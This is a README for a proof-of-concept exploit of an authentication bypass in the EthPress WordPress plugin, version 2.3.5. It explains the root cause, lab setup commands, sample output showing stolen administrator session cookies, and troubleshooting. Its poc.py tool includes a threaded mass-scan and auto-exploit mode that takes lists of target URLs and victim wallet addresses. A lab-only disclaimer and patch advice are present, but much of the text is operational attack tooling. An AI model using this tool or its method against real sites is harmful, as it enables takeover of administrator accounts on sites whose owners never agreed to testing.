
Verified proof-of-concept exploiting the EthPress <= 2.3.5 unauthenticated authentication bypass, granting a WordPress administrator session via a wallet address.
Working, verified proof-of-concept for the EthPress wallet-login authentication bypass, developed and validated against the X-1 localhost lab.
RAZZ, user id 1, roles=['administrator']) using nothing but a
public wallet address.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) checks the wallet signature, builds a
WP_Error when the check fails — and then forgets to return:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
Execution continues into the login block, Address::log_in() resolves the
attacker-supplied wallet address to its owning WordPress user, and
wp_set_auth_cookie() authenticates that user. The response is
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
requests is the only dependency (pip install requests). All Ethereum crypto
(Keccak-256, secp256k1, RFC 6979 signing, address recovery) is implemented
inside poc.py with the standard library only.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php and read
ethpressLoginWP.loginNonce. It is a wp_create_nonce('ethpress_log_in')
minted for an anonymous (uid=0) session and is therefore valid for the
attacker's own unauthenticated AJAX call.coinbase. verify2() returns [false, error] — and
2.3.5 discards it. (A completely empty signature works too; poc.py falls
back to that automatically.)/wp-admin/, scrape the
session's REST nonce, and call /wp/v2/users/me?context=edit → the real
user id, login and roles; plus assert access to four administrator-only
screens.Reproduce any of it:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update writes exactly the storage key the plugin's own
Address::create() writes (update_user_meta($uid, 'ethpress', $coinbase)), so
the precondition is provisioned the legitimate way — no artificial weakening of
the target.
Reference builds for diffing live outside the plugins directory:
../_plugin-reference/ethpress/{vulnerable,latest}.
Swapping plugin versions in place while Apache keeps running leaves the old
compiled bytecode in OPcache. PHP then continues executing the previous
version's files; because 2.3.6's freemius/start.php:584 requires
freemius/require.php → includes/class-fs-hook-snapshot.php (a file that only
exists in 2.3.6), the site returned HTTP 500 even though 2.3.5 was on disk.
lab-switch-version.sh now restarts wp_app after every switch and waits for
/wp-login.php to return 200. Always confirm the running version, not just
the on-disk one.
| Code | Meaning |
|---|---|
0 | at least one target was EXPLOITED |
1 | ran fine, no target exploited |
2 | bad usage — missing/unreadable input file, or no wallet address given |
-a is the one thing you must get right-a/--address must be the wallet address that is already linked to the
target WordPress account — i.e. the wp_usermeta row with
meta_key = 'ethpress'. The PoC cannot guess it: the address is not exposed
anywhere publicly.
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
If you pass a different address the run ends as exploited 0 / 1 — but the
bypass mechanism itself is working, the address simply resolves to no user.
The PoC now prints an explicit "why it did not succeed" block plus hints for
every non-hit, so this is no longer silent.
CVE-2026-19125/
├── README.md this file
├── analysis.md root cause, patch, chain, reliability, remediation
├── intel.md advisory facts + verification-vs-advisory table
├── poc.py the exploit (self-contained crypto, -f -t -o)
├── patch.diff app/Login.php 2.3.5 -> 2.3.6
├── boundary-test.py signature-input boundary harness
├── lab-switch-version.sh swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt attack-surface: ethpress AJAX registrations
├── hooks.txt hook registrations (Plugin::attach_hooks)
├── results.jsonl exploitation record (2.3.5) <- success
├── results-patched.jsonl exploitation record (2.3.6 control) <- blocked
├── results-neg.jsonl negative control (unlinked address)
└── evidence/
├── raw-transcript.txt raw HTTP: nonce -> bypass -> cookie -> admin proof
├── raw-repro.sh regenerates the above
├── boundary-matrix.txt which signature inputs bypass / 500 / fail
├── run-positive.log PoC run on 2.3.5
├── run-patched-236.log PoC run on 2.3.6
└── results-registration-open.jsonl users_can_register=1 branch behaviour
Upgrade EthPress to 2.3.6 or newer. There is no configuration workaround:
the flaw is in the login control flow itself. If upgrading is not immediately
possible, disable the plugin's wallet login (or the plugin) and audit
wp_usermeta for ethpress links on privileged accounts.
For authorized security research in an isolated localhost lab only. Do not use against systems you do not own or lack written permission to test. Author: Poloss.
| Flag | Meaning |
|---|
-f, --file | file of target URLs (one per line, # comments) for mass scan + auto-exploit |
-t, --threads | concurrent worker threads (default 10) |
-o, --output | output/log path, JSON Lines (default cve-2026-19125-results.jsonl) |
-u, --url | single target URL (repeatable) |
-a, --address | victim wallet address linked to a WordPress account |
-af, --address-file | file of candidate wallet addresses |
-k, --private-key | attacker private key hex (default: fresh random key per attack) |
--timeout | HTTP timeout seconds (default 20) |
--verify-tls | verify TLS certificates |
-q, --quiet | suppress per-target progress lines |
| Test | Build | Expected | Observed | Artifact |
|---|
| Positive exploit, linked admin address | 2.3.5 | takeover | id=1 RAZZ roles=['administrator'], all 4 admin caps | results.jsonl, evidence/run-positive.log |
| Negative control, unlinked address | 2.3.5 | no session | "You have not registered on this site" | results-neg.jsonl |
| Patched control, both primitives | 2.3.6 | rejected | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Raw curl reproduction, no tooling | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | confirmed |
| Signature-input boundary matrix | 2.3.5 | mixed | 2 deterministic primitives; random blobs ≈50/50 or HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, unlinked address | 2.3.5 | new subscriber session | user 0xAAAA... created with role subscriber, logged in (then removed) | evidence/results-registration-open.jsonl |
| Symptom | Meaning | Fix |
|---|
failed ... "You have not registered on this site; we cannot log you in" | the supplied address is not linked to any account | pass the address from wp user meta get <id> ethpress |
failed ... "Failed to verify signature. The address ... extracted for address ..." | target is PATCHED (>= 2.3.6) | expected control behaviour; reinstall 2.3.5 via lab-switch-version.sh |
not_vulnerable ... wp-login.php returned HTTP ... | EthPress absent, login method disabled, or site down | check wp plugin list and that /wp-login.php returns 200 |
unreachable ... ConnectionError | no HTTP reachability | check host/port |
cookie_issued_not_accepted | cookie issued but rejected | nonce went stale (5-minute life) — re-run |
| HTTP 500 on the AJAX call, no cookie | a non-recoverable signature made the bundled crypto throw | the PoC avoids this by using the deterministic primitives |
wp-login.php returns 500 while 2.3.5 is on disk | stale OPcache after a version swap | docker restart wp_app (handled by lab-switch-version.sh) |